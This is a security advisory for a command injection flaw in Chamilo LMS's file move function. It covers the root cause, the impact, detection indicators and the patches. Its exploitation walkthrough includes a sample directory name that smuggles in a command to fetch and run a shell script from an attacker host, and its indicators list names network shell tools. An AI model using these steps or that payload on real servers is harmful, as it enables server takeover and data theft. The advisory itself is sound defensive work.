CVE-2026-32892: 
Chamilo vulnerability analysis and mitigation

CVE-2026-32892 is an OS Command Injection vulnerability in Chamilo LMS affecting the file move function (fileManage.lib.php). It allows any authenticated user with teacher privileges — which by default includes all registered users due to the allow_users_to_create_courses = true setting — to execute arbitrary OS commands as the web server user (www-data). Affected versions include all Chamilo LMS releases prior to 1.11.38 and all 2.0.0 pre-releases prior to 2.0.0-RC.3 (including alpha1–5, beta1–3, rc1–rc2). The vulnerability was published on April 10, 2026, with patches released the same day. It carries a CVSS v3.1 base score of 8.8 (High) per NVD, and 9.9 (Critical) per the GitHub Security Advisory (GitHub Advisory, Feedly).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The move() function in main/inc/lib/fileManage.lib.php concatenates user-controlled path values directly into exec() shell commands (e.g., exec('mv '.$source.' '.$target.'/'.$file_name)) without using escapeshellarg(). The move_to POST parameter from document.php is only sanitized by Security::remove_XSS(), which is an HTML-only filter that does not strip shell metacharacters. Additional vulnerable call sites exist in document.lib.php (8 exec() calls using $doc_path) and gradebook.ajax.php (shell_exec() with $courseCode). Exploitation requires a two-step process: first, an attacker uses the Course Backup Import feature to place a directory with shell metacharacters in its name on the filesystem, then triggers the move() function by moving a document into that directory via document.php (GitHub Advisory, GitHub Commit).

Successful exploitation grants an attacker arbitrary OS command execution as the www-data web server user, enabling full server compromise. This includes remote code execution (e.g., deploying reverse shells or web shells), reading and writing any file accessible to www-data (including database credentials and application source code), data exfiltration of all user records, grades, and documents, and persistence via backdoors or cron jobs. Lateral movement to internal services and databases reachable from the server is also possible (GitHub Advisory, Feedly).

As of the time of reporting, no public proof-of-concept exploit code has been observed, and there is no confirmed evidence of in-the-wild exploitation (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, though it was referenced in a CISA vulnerability bulletin for the week of April 6, 2026. The EPSS score is approximately 0.274%, reflecting a currently low but non-negligible probability of exploitation. The low attack complexity and broad attacker eligibility (any authenticated user by default) make this a high-priority patching target.

1. Authenticate: Register or log in to the target Chamilo LMS instance as any user. By default, allow_users_to_create_courses = true, so any authenticated user can become a teacher.
2. Create or join a course: Create a new course to obtain teacher-level privileges, which grants access to document management and course backup import features.
3. Prepare malicious directory via Course Backup Import: Craft a course backup archive (.zip) containing a directory whose name includes shell metacharacters (e.g., ; curl http://attacker.com/shell.sh | bash #). Import this backup into the course using the Course Backup Import feature, which places the malicious directory on the server filesystem.
4. Trigger the move operation: Navigate to the course's document manager (document.php) and move a legitimate document into the malicious directory by submitting a POST request with the move_to parameter set to the path of the metacharacter-containing directory.
5. Achieve command execution: The move() function in fileManage.lib.php constructs a shell command such as exec('mv '.$source.' '.$target.'/'.$file_name) without escaping, causing the shell metacharacters in the directory name to be interpreted by the OS shell, executing the injected command as www-data.
6. Establish persistence: Use the achieved RCE to deploy a web shell, establish a reverse shell, or install a cron job for persistent access (GitHub Advisory, GitHub Commit).

• Network: Unexpected outbound connections from the web server process (e.g., www-data) to external IPs, particularly on non-standard ports; HTTP requests to document.php with move_to POST parameters containing shell metacharacters (;, |, &, `, $()).
• Logs: Web server access logs showing POST requests to /main/document/document.php with unusual move_to values; PHP error logs referencing fileManage.lib.php with unexpected command output or errors.
• File System: Presence of directories with shell metacharacters in their names within course document directories (e.g., under courses/<COURSE_CODE>/document/); newly created web shells (.php files) in web-accessible directories; unexpected cron jobs added for the www-data user.
• Process: Unusual child processes spawned by the web server process (e.g., bash, curl, wget, python, nc) visible via process monitoring tools like ps or auditd logs.

Upgrade Chamilo LMS to version 1.11.38 or 2.0.0-RC.3 (or later), which apply escapeshellarg() to all affected exec() and shell_exec() calls in fileManage.lib.php, document.lib.php, and gradebook.ajax.php (GitHub Commit, GitHub Advisory). If immediate patching is not possible, set allow_users_to_create_courses = false in the Chamilo administration panel to restrict teacher-level access and reduce the attacker pool. Additionally, implement network-based access controls to limit who can reach the Chamilo instance, audit Course Backup Imports for directories with shell metacharacters, and monitor document movement activity for anomalous behavior.

The vulnerability was covered by The Hacker Wire and noted in security community posts on Mastodon and Bluesky shortly after disclosure (The Hacker Wire). A security advisory was also published by Yazoul.net (Yazoul Advisory). The CISA weekly vulnerability bulletin for the week of April 6, 2026 referenced the CVE. Community reaction has been moderate, with attention focused on the broad exploitability by default-configured instances.